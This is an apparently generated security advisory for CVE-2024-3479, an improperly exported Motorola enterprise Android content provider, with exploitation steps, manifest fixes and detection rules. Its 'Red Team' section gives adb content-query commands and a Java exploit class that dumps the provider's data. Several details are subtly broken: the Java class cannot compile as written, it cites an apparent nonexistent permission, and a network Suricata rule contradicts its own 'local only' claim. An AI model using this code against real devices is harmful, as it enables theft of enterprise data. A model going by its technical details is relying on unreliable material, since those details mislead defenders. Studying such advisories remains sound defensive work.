CVE-2024-3479

Executive Summary

CVE-2024-3479 is a low-severity (CVSS 2.8) improper export vulnerability in the Motorola Enterprise MotoDpms Provider component (com.motorola.server.enterprise.MotoDpmsProvider). This Android content provider is incorrectly exported, allowing a local attacker with minimal privileges to read sensitive local data stored by the provider. The vulnerability has no known public exploit, no EPSS activity (0.0%), and no patch from Motorola at this time. The attack vector is local, requiring the attacker to have an app installed on the device or ADB access.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a native Android component vulnerability in Motorola enterprise firmware.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – Requires physical or ADB access to the device.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs a non-root app or ADB shell.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – The vulnerable component is within the same security authority.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Low. Exploitation requires local access and yields limited data. No active exploitation observed.

Deep Dive & Mechanics

The vulnerability lies in the Android manifest of the Motorola Enterprise firmware. The MotoDpmsProvider is a ContentProvider that exposes data to other applications. When a ContentProvider is declared with android:exported="true" (or without explicit export setting and with an intent filter), any app on the device can query it. In this case, the provider is improperly exported, meaning it does not enforce proper permission checks.

The provider likely exposes device policy management settings, enterprise configuration data, or other sensitive information stored in a SQLite database or shared preferences. An attacker can use the content:// URI scheme to query the provider:

content://com.motorola.server.enterprise.MotoDpmsProvider

Using ADB or a malicious app, the attacker can execute:

adb shell content query --uri content://com.motorola.server.enterprise.MotoDpmsProvider

Or programmatically in an Android app:

Cursor cursor = getContentResolver().query(
    Uri.parse("content://com.motorola.server.enterprise.MotoDpmsProvider"),
    null, null, null, null);

This could leak enterprise configuration data, device identifiers, or other local data.

Vulnerable vs. Patched Code

Vulnerable (AndroidManifest.xml snippet):

<provider
    android:name="com.motorola.server.enterprise.MotoDpmsProvider"
    android:exported="true"
    android:authorities="com.motorola.server.enterprise.MotoDpmsProvider" />

Patched (hypothetical):

<provider
    android:name="com.motorola.server.enterprise.MotoDpmsProvider"
    android:exported="false"
    android:authorities="com.motorola.server.enterprise.MotoDpmsProvider"
    android:permission="android.permission.READ_DEVICE_CONFIG" />

The fix requires either setting android:exported="false" or adding a custom permission that is only granted to system apps.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Motorola device with vulnerable firmware (e.g., Moto G series, Edge series with enterprise firmware).
• ADB enabled or ability to install a malicious app.

Exploitation Steps:

1. Identify vulnerable provider:

   adb shell dumpsys package com.motorola.server.enterprise | grep -A5 "MotoDpmsProvider"
   

2. Query the provider via ADB:

   adb shell content query --uri content://com.motorola.server.enterprise.MotoDpmsProvider
   

3. Automated exploitation with a malicious app:

   // MaliciousApp.java
   import android.content.ContentResolver;
   import android.database.Cursor;
   import android.net.Uri;
   import android.os.Bundle;
   import android.util.Log;
   
   public class Exploit {
       public void run() {
           ContentResolver cr = getContentResolver();
           Uri uri = Uri.parse("content://com.motorola.server.enterprise.MotoDpmsProvider");
           Cursor cursor = cr.query(uri, null, null, null, null);
           if (cursor != null) {
               while (cursor.moveToNext()) {
                   for (int i = 0; i < cursor.getColumnCount(); i++) {
                       Log.d("EXPLOIT", cursor.getColumnName(i) + ": " + cursor.getString(i));
                   }
               }
               cursor.close();
           }
       }
   }
   

Blue Team

Detection:

• Monitor for unusual content:// URI queries in logcat:

  adb logcat | grep -i "MotoDpmsProvider"
  

• Look for apps requesting android.permission.QUERY_CONTENT_PROVIDERS without legitimate reason.
• Use Android Enterprise EMM policies to restrict content provider access.

Mitigation:

• Apply vendor patch when available.
• If patching is not possible, use a custom permission to protect the provider via a device policy controller (DPC) or by modifying the firmware (requires root).

Indicators of Compromise (IOCs)

• File Paths:
  • /system/priv-app/MotoEnterprise/MotoEnterprise.apk
  • /data/data/com.motorola.server.enterprise/databases/*
• Logcat Entries:
  • ContentProvider query to com.motorola.server.enterprise.MotoDpmsProvider
• Network: None (local only)
• Process: Any app with QUERY_CONTENT_PROVIDERS permission querying the vulnerable URI.

Detection Engineering

YARA Rule

rule CVE_2024_3479_MotoDpmsProvider {
    meta:
        description = "Detects vulnerable MotoDpmsProvider export in Android manifest"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-3479"
    strings:
        $manifest = "AndroidManifest.xml"
        $provider = "com.motorola.server.enterprise.MotoDpmsProvider"
        $exported = "android:exported=\"true\""
    condition:
        $manifest and $provider and $exported
}

Sigma Rule

title: CVE-2024-3479 - MotoDpmsProvider Improper Export
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to query the vulnerable MotoDpmsProvider content provider
author: Valters IT
date: 2025-04-10
logsource:
    product: android
    service: logcat
detection:
    selection:
        EventID: 1000
        ProviderName: 'com.motorola.server.enterprise.MotoDpmsProvider'
    condition: selection
falsepositives:
    - Legitimate enterprise management apps
level: low

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-3479 MotoDpmsProvider Data Exfiltration"; content:"content://com.motorola.server.enterprise.MotoDpmsProvider"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Vendor Patch: Await Motorola firmware update. Check Motorola Enterprise support portal for patches.
2. Workaround: If device is rooted, modify /system/etc/permissions/platform.xml to restrict access to the provider.
3. EMM Policy: Use a Mobile Device Management (MDM) solution to block apps from querying unknown content providers.
4. App Vetting: Ensure no third-party apps on the device have unnecessary QUERY_CONTENT_PROVIDERS permission.
5. Monitor: Continuously monitor logcat for unauthorized provider queries.

Valters IT